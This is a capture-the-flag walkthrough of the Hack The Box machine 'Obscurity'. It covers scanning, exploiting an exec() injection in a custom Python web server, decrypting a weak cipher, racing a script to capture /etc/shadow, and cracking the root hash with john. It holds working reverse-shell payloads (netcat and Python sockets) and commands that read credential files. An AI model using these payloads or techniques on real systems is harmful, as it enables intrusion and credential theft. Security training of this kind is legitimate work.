RHOST: 10.10.10.168
LHOST: xx.xx.xx.xx
As always started off with an nmap
scan
root@kali:~# nmap -sV 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-08 02:51 EST
Nmap scan report for 10.10.10.168
Host is up (0.31s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/8%Time=5E3E68B0%P=x86_64-pc-linux-gnu%r(Get
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.59 seconds
There's a service on port 8080
returning HTTP data, let's take a look at
it.
'Security through Obscurity' 😹 Classic. Remember kids, security can never be
achieved through obscurity.
Seems the box is running a custom written webserver, and the authors have
helpfully told us there's a file called SuperSecureServer.py
somewhere on the
server.
I used wfuzz
to try and brute force the location of this file.
root@kali:~# wfuzz --sc 200,301,302 -w /usr/share/wordlists/dirb/common.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001245: 200 170 L 498 W 5892 Ch "develop"
000002321: 404 6 L 14 W 178 Ch "livezilla"
^C
Finishing pending requests...
...
root@kali:~#
Sweet, we found it at http://10.10.10.168:8080/develop/SuperSecureServer.py
.
Let's grab the file and have a peek at the source.
root@kali:~# cat SuperSecureServer.py
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("
").split("
")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Time to run this code on my localhost and do some debugging to see what can be exploited. I added a
server = Server('0.0.0.0', 8080)
server.listen()
at the end of the file, a few print()
statements and began debugging while
sending the server requests. First off I tried some path traversal attacks but
this didn't yield anything. Then I looked a bit closer at the logic where the
server responded with the requested path/file and something stood out.
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
A wild exec
statement using unsanitized user input from path
(the request
path) as part of the argument.
The path of our HTTP request will get inserted into the string info
and then
passed to the exec
function. After playing around with the syntax needed to
escape the single quotes within the info
string I crafted a payload to create
a reverse shell with netcat and tried it on my local server.
The request path payload:
x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x
This means info.format(path)
outputs:
"output = 'Document: x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x'"
So our os.system
call will be executed by exec
.
HTTP GET http://localhost:8080/x';os.system('nc -e /bin/sh xx.xx.xx.xx 8888');'x
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [xx.xx.xx.xx] 51260
# ^C
Alright it works locally, but when I tried it on the remotehost, it didn't work.
The code passed straight through the exec
statement and ran the logic for
serving me a 404
error. I can't see any error output from the python program
running on the remote, but I assumed that the system did not have the nc
binary installed.
Time to change up my payload slightly. Since we know python is present on the
remote system I'll just use python for my reverse shell. The context of the
server runtime even has the os
, subprocess
and socket
libs already
imported so that makes my life slightly easy.
x';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xx.xx.xx.xx',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'x
Alright! We got our reverse shell connected as www-data
. A bit more python-fu
later and we get a fully interactive tty.
$ python3 -c 'import pty; pty.spawn("/bin/bash");'
www-data@obscure:/$ ^Z
[1]+ Stopped nc -vnlp 8888
root@kali:~# stty raw -echo
root@kali:~# nc -vnlp 8888
www-data@obscure:/$ ls -lah /home
total 12K
drwxr-xr-x 3 root root 4.0K Sep 24 22:09 .
drwxr-xr-x 24 root root 4.0K Oct 3 15:52 ..
drwxr-xr-x 7 robert robert 4.0K Dec 2 09:53 robert
www-data@obscure:/$
Looks likely we need to pivot to robert
to grab the user flag. Luckily his
home dir has r/x permissions set so we can explore a bit.
www-data@obscure:/$ cd /home/robert
www-data@obscure:/home/robert$ ls -lah
total 60K
drwxr-xr-x 7 robert robert 4.0K Dec 2 09:53 .
drwxr-xr-x 3 root root 4.0K Sep 24 22:09 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 23:28 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3.7K Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4.0K Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4.0K Oct 3 16:02 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 23:08 check.txt
drwxr-x--- 3 robert robert 4.0K Dec 2 09:53 .config
drwx------ 3 robert robert 4.0K Oct 3 22:42 .gnupg
drwxrwxr-x 3 robert robert 4.0K Oct 3 16:34 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 15:01 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 15:01 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rwxrwxr-x 1 robert robert 2.5K Oct 4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 14:12 user.txt
www-data@obscure:/home/robert$
I copied down the txt files, SuperSecureCrypt.py
and
BetterSSH/BetterSSH.py
.
root@kali:/tmp# cat out.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# cat check.txt; echo
Encrypting this file with your key should result in out.txt, make sure your key is correct!
root@kali:/tmp# cat passwordreminder.txt; echo
ÑÈÌÉàÙÁÑ鯷¿k
root@kali:/tmp#
Both out.txt
and passwordreminder.txt
are just unicode text files but not
human readable. out.txt
is apparently the contents of check.txt
but
encoded. Taking a look at SuperSecureCrypt.py
we see that they've been
encoded by a very simple cipher algorithm, here's the encrypt function.
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
In a few minutes, I wrote a reverse algo in an ipython notebook to extract the key.
In [71]: def getKeyOrd(o, c):
...: return ord(o) + 255 - ord(c)
In [76]: pw = []
In [77]: for i in range(0, len(check)):
...: pw.append(getKeyOrd(out[i], check[i]))
In [79]: ''.join([chr(x) for x in pw])
Out[79]: 'ŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧŠūŤŷŠŭţűŮŵŨŢŧ'
And we got the key (the repeating string) ŠūŤŷŠŭţűŮŵŨŢŧ
. Let's verify it then
check the decoded contents of passwordreminder.txt
.
root@kali:/tmp# python3 SuperSecureCrypt.py -i check.txt -o guh.txt -k 'ŠūŤŷŠŭţűŮŵŨŢŧ'
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file check.txt...
Encrypting...
Writing to guh.txt...
root@kali:/tmp# cat guh.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# cat out.txt; echo
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝá^CÎÍÚÎëÑÓäáÛÌ×v
root@kali:/tmp# python3 SuperSecureCrypt.py -d -i passwordreminder.txt -o guh.txt -k 'ŠūŤŷŠŭţűŮŵŨŢŧ'
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Decrypting...
Writing to guh.txt...
root@kali:/tmp# cat guh.txt
SecThruObsFTW
Alright, we got robert's password in plaintext SecThruObsFTW
. Let's ssh in
and grab the user flag.
root@kali:~# ssh [email protected]
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.168' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
...
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
Now we should see if we can run anything with escalated priveleges.
robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Yup, we can use sudo to run a python script BetterSSH.py
which we had seen
earlier. Let's have a look at the source.
root@kali:/tmp# cat BetterSSH.py
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
So the script prompts for a user and password, then hashes the supplied
password and compares it to the one in /etc/shadow
. If it matches it then
runs commands as that user with sudo -u
as seen in the last logic block.
Since the python script runs as root, my first thought was to try to tack
a command onto the end to the effect of sudo -u robert whoami; whoami
which
should output robert
then run the second whoami
command as root and output
root
. However this isn't possible in this case.
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: SecThruObsFTW
Authed!
robert@Obscure$ whoami; whoami
Output:
Error: sudo: whoami;: command not found
After some reading up in the docs I discovered subprocess.Popen
needs to be
called with a shell=True
argument in order to achieve something like this.
I thought about it some more then it dawned on me, the script reads
/etc/shadow
and even dumps it out into a file (temporarily). For 0.1s the
contents of /etc/shadow
is in a randomly named file inside /tmp/SSH
. Now there's no way
for me to be quick enough to find the file and cat
the contents in the given
time, so I crafted a command using the watch
utility that ran every 0.1s.
robert@obscure:/tmp/SSH$ watch -d=cumulative -n 0.1 'for f in $(ls); do cat $f >> /tmp/SSH/output.txt; done'
I then ran the BetterSSH.py
script again (don't even need to supply it with
any valid credentials, it will read and dump the /etc/shadow
contents anyway)
and boom! I had the hashed password for root.
robert@obscure:~$ ls /tmp/SSH/
output.txt
robert@obscure:~$ cat /tmp/SSH/output.txt
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
robert@obscure:~$ su root
Now I just need to ask my friend john for a bit of help.
root@kali:~# echo '$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1' > obs_root_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt obs_root_hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes (?)
1g 0:00:00:00 DONE (2020-02-08 07:56) 5.263g/s 2694p/s 2694c/s 2694C/s 123456..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And we cracked the password mercedes
, all that's left is to login as root and grab the flag.
robert@obscure:~$ su root
Password:
root@obscure:/home/robert# cd /root
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3